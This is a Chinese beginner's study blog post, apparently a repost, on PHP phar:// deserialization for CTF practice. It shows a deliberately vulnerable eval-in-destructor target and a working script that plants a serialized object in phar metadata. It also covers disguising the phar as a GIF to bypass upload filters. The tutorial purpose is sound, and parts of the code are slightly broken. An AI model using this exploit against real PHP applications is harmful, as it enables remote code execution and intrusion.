------已搬运-------PHP反序列化之三:phar://反序列化之☞菜鸡的总结

讲真,写道一半后悔了,,,网上说。这个好像不怎么出题。而且现实中这个漏洞也比较少。。。哭了呀,,━┳━…━┳━
(本🐓还没有看POP链…)看了这么多文章,先总体上说说吧。这个**phar://**只是反序列化漏洞中的一个分支。
个人理解:**phar://**之所以拿出来,单独成知识点,有一点原因就是可以不用unserialize()方法,但是仍然会调用php的反序列化。 只要有反序列化,那么就很可能有反序列化漏洞。要有反序列化漏洞,就一定要有反序列化这个步骤。可以是unserialize(),也可以是这个meta…什么的来进行参序列化。

还要有对传入的参数进行 诸如file_get_contents()等方法的操作
在这里插入图片描述

一、这里写一下在构造环境之前要做的一些事情:

  1. 将php.ini中的phar.readonly设置成off。不然的话,这个是什么意思呢:raeadonly么,on的时候就是只能够读,不能够写phar包。默认是On,改成off,就时能够不readonly了。也就是可以写了嘛。在php.ini中修改,在phpinfo()中查看。。。如下图所示:
    在这里插入图片描述

  2. 哦吼,怎么就只剩下一点了呢,,,哎呀一点就一点了,,,pass

二、然后是关于Phar的相关知识的记录吧

在这里插入图片描述老爷们先看看,热热手。上面这个,可以多看几遍,试着理解,不然的话,看再多的博客文章也还是感觉自己没学会。

------------------------假装我是一个分割线-----------------------------------

下面是phar文件结构的知识:
对做题时没影响,但是总是觉得还是知道了解的好,不然就真的成为了一个只会做题的 无 情 机 器 了…。(其实下面这些可以复制粘贴的,但是为了加强印象,我手敲的。也是个小建议吧,)

phar://
将多个文件归并入一个本地文件夹,也可以包含一个文件
phar文件
PHAR(PHP文档)文件是一种打包格式(类似于zip???菜鸡猜测。网上没讲),通过将许多的PHP代码文件和其他资源(例如,图像,格式表等)捆绑到一个归档文件中来实现应用程序和库的分发。所有的PHAR文件都是用**.phar**作为文件扩展名的,PHAR格式的归档需要使用自己写的PHP代码来实现,也就是要自己写demo。
phar文件结构

  1. a stub
    识别phar扩展的标识,格式:xxxx<?php xxxx;__HALT__COMPILER();?> 。对应的函数为Phar::setStub
  2. a manifest describing the contents
    被压缩文件的权限,属性等信息都存放在这部分。这部分还会以反序列化的形式存储用户自定义的meta-data,知识漏洞利用的核心部分,对应函数:setMetadata——设置Phar归档元数据
  3. the file contents
    被压缩文件的内容。
  4. [optional] a signature for verifying Phar integrity(phar file format only)
    签名,放在文件末尾,对应函数Phar::stopBuffering ——停止缓冲对Phar文档的写入请求,并将更改保存到磁盘。。(就是停止写入的意思)

自己的理解呢:phar文件,就类似于rar,zip等打包文件之类的。压缩包?。但不一定是压缩包,是一个里面有着其他包的一个文件类型。压缩包应该是属于这一大种包中的一种,就像兵种和军种的关系一样,emmm。。。

三、而后,看一下源码,请大家认真认真认真看一下注释!!!

我把一些比较重要的点全都写在了注释里面!!!!!
01.php:要攻击的站点的源码

<?php
<?php
class Flag{
    public $code;
    public function __destruct(){
        // TODO: Implement __destruct() method.
        eval($this->code);
    }
}
$filename = $_GET['filename'];
file_exists($filename);
?>

传入文件名,检验文件是否存在,并且,如果有一个Flag实例的话,在他销毁的时候,会eval他的code属性。
那么如果我们想要执行code的话,那就要传入一个序列化字符串,然后反序列化成为一个Flag对象,从而执行。
又因为没有unserialize,还有读取session的时候会自动的进行反序列化,这里我们用phar伪协议来读取,这个方法,会自动的将用户自定义的meta-data 这个属性进行反序列化读取。

操作步骤如下

一、生成一个phar文件,生成的phar文件的代码如下:

02.php:

<?php
class Flag{
	public $code;
}//要攻击的站点中源码已经存在的类

@unlink("test.phar")//文件名test.phar,如果存在这个文件,就删除掉
//可见Phar是一个类。。。
$phar = new Phar("test.phar");//后缀名必须为phar
$phar -> startBuffering();//开启缓冲
$phar -> setStub("111where am i 111<?php am i a haker ?__HALT_COMPILER();?>");//设置stub
//前面可以加东西,但是后面就只能是这个,这个就是一个文件头。如果你想把它伪造成为一个图片的话,
//可以在前面加上GIF89a
$a = new Flag();//new一个对象,让phar文件自动序列化,利用phar文件自动序列化meata-data属性的特点进行攻击
$a->code = "phpinfo();";//这里注意需要是一个完整的php语句
$phar -> setMetadata($a);//自定义的元数据mata-data存入manifest
//这一步就是序列化对象的操作。我们这里并没有用serialize这个函数,但却实现了序列化操作
//我们构造的恶意内容,也是在这个里面的
$phar -> addFromString("test.txt","test");//添加要压缩的文件
//本来的用意是 把 test这个文件的数据导入到phar压缩包里面的test.txt的这个文件里,但这里
//并不需要利用这个,所以什么都无所额外i
$phar -> stopBuffering();//签名自动计算
?>
二、执行完上述代码之后,会在本地与这个php文件同目录下生成一个phar文件,如图:

先运行02.php。这时,会在同目录下生成一个名字为phar.phar的文件。长这个样子

在这里插入图片描述
在这里插入图片描述
可以看到,我们自定义的meta_data以序列化字符串的形式存储在了phar文件里。有序列化必然会有反序列化,PHP的大部分文件系统函数在通过phar://协议解析phar文件的时候,都会将meta_data进行反序列化操作,受影响的文件系统函数如下

在这里插入图片描述

然后再01.php中利用phar文件以及phar://伪协议进行攻击

在这里插入图片描述

从而实现了任意代码执行,将代码写入我们构造的02.php中

也不只有这一个函数,也有很多函数,比如下面都可以的
在这里插入图片描述
好了。大概就是这个样子。一个不使用unserialize方法但是还有序列化,反序列化的一个 漏洞点吧。
就是用一个phar协议。。。瞧瞧,多么简单的一个东西。我学了这么久,,写了这么久,,,(哭唧唧(。﹏。) )

再往后就是 用phar来伪造其他格式的文件的应用了

PHP识别phar文件时通过文件头的stub。即__HALT__COMPILER();?>,对前面的内容或者 后缀名时没有要求的。可以通过添加任意文件头加上修改后缀名的方法将phar文件伪装成其他文件的格式。
我们实践一下。
网上都说用这个来实践,wordpress,但是 好高深的亚子。。换一个实现
漏洞剖析,个人感觉这段话很棒。建议反复咀嚼
参考自:https://www.anquanke.com/post/id/159206
文件的第二部分 a manifest describing the contents可知,phar文件会以序列化的形式存储用户定义的meta-data,在一些文件操作函数执行的参数可控时,参数部分我们利用Phar为协议,可以不依赖unserialize()直接进行反序列化操作,在读取phar文件流利的数据时,再反序列化meta-data。从而实现反序列化漏洞,达到我们的操控的目的

而在一些上传点。就像文件上传漏洞中的 一些黑白名单,过滤什么的。这里我们也可以做一点事情。我们可以更改phar的文件头 并且修改其后缀绕过检测。如:test.gif,里面的meta-data则是我们提前写入的恶意代码。而且可以利用的文件操作函数又有很多,所以这是一种不错的绕过+执行的办法。
想看的看这个吧。以后遇到题的话,再来学这个吧
https://www.anquanke.com/post/id/159206

在这里插入图片描述
这个其实就是一个文件头。如果你想把这个文件当作一个图片的话,就可以在这个头前加上GIF89a,就会变成图片了

在这里插入图片描述

这里有个的例题[GeekGame 2020] 反序列化?

1. 快速复习

1. 所需的条件

必须要有 获得参数的地方,,,用于使用?filename=phar://***这个伪协议。而且改参数还要被下述的方法调用,才能对meta-data进行反序列化,
在这里插入图片描述还要有对传入的参数进行 诸如file_get_contents()等方法的操作。
因为只有这些方法操作了才行才能够对 meta-data进行反序列化。。

在这里插入图片描述

2.随便修改phar文件的名字,只要有后缀就行

在这里插入图片描述

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值